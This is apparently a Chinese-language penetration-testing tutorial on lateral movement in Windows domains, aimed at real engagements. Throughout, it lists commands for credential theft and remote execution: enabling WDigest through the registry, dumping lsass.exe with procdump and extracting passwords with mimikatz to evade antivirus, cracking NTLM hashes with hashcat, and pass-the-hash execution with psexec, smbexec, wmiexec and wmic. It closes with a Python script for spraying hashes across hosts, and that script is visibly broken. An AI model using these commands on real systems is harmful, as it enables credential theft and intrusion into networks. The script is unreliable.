域横向 smb&wmi
基础知识
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,也会导致无法获取明文密码
针对以上情况,我们提供了4种方式解决此类问题:
1.利用哈希hash传递(pth,ptk等)进行移动
2.利用其他服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启Wdigest Auth值进行获取
4.利用工具或第三方平台(Hachcat)进行破解获取
注册表修改,开启wdigest
reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDige st /v UseLogonCredential /t REG DWORD /d 1 /f
Windows系统LM HASH及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。
Procdump+Mimikatz配合获取密码
解决实战中Mimikatz被杀毒软件拦截问题。
当Mimikatz被杀毒软件拦截,可通过procdump 配合 mimikatz
因为procdump是windows官方的软件,所以在实战时一般不会对其进行拦截
运行procdump在当前目录下生成lsass.dmp文件
procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz 上执行还原出来密码:
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
Hashcat破解获取Windows NTML Hash:
hashcat -a0-m 1000hash file --force
Hashcat下载地址以及使用方法见:https://zhuanlan.zhihu.com/p/35661801
procdump下载
procdump上传到对方服务器,执行procdump -accepteula -ma lsass.exe lsass.dmp,会在当前目录生成一个lsass.dmp文件
将对方服务器上生成的dmp文件复制到本地mimikatz的目录
在本机通过mimikatz来读取dmp文件里的内容
可以看到已经成功读取到lsass.dmp文件里面的账户密码了。
域横向移动SMB服务利用-psexec,smbexec
psexec
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
psexec 是pstools 微软官方软件中的一个工具,是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中。但是PsExec在内网中大杀四方后,很多安全厂商开始将PsExec加入了黑名单。
psexec下载地址
psexec 第一种方式:先有 ipc 链接,psexec 需要明文或 hash 传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行
psexec 第二种方式:不用建立 IPC 直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
可以看到使用明文密码直接连接成功,那我们试一下用hash来进行登录。
这里出现了问题,查资料发现官方 Pstools psexec 无法采用 hash 连接,这里解决办法就是采用impacket的psexec。
impacket工具包介绍
可以看到使用hash连接成功了,但是impacket的psexec是非官方的,容易被杀毒软件干掉。
smbexec 无需先 ipc 链接 明文或 hash 传递
impacket工具包 smbexec协议
#smbexec 无需先 ipc 链接 明文或 hash 传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21
域横向移动WMI服务利用-cscript,wmiexec,wmic
WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
自带 WMIC 明文传递 无回显 官方
缺点:无回显,需要自己去读取目标主机上执行命令产生结果的文件内容
优点:不会被杀毒软件干扰
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c
ipconfig >C:\1.txt"
连接完毕后,在⽬标主机上连接的那个域主机上出现了1.txt.
自带 cscript 明文传递 有回显
将wmiexec.vbs上传到对方主机
需要借助wmiexec.vbs文件,切换到wmiexec.vbs所在目录执行cmd窗口
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
有可能被杀毒软件拦截
上传后切换到impacket-examples-windows目录,通过wmiexec执行
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
通过明文密码进行连接
通过hash值进行连接
总结
通过官方PSTools中psexec连接时只能用明文密码进行连接,但是不会被杀毒软件拦截
通过官方自带命令WMIC时,只支持明文且没有回显需自己读取
通过官方自带命令cscript与wmiexec.vbs配合时有回显,但是只支持明文
通过非官方impacket-examples-windows中psexec和smbexec和wmiexec连接时可支持密文hash密码连接,但容易被杀毒软件拦截
现在基本通过mimikatz获取的密码都是密文的
impacket-examples-windows下载地址
impacket下载地址
pstools下载地址
procdump下载地址
域横向移动以上服务bash批量利用
使用Python脚本来进行批量跑
import os,time
from threading import Thread
def get_user(ip)
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)
def main(ip):
for ip in ips:
t = Thread(target=check_pass,args=(ip,))
t.start()
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
if __name__ == "__main__":
main(ips)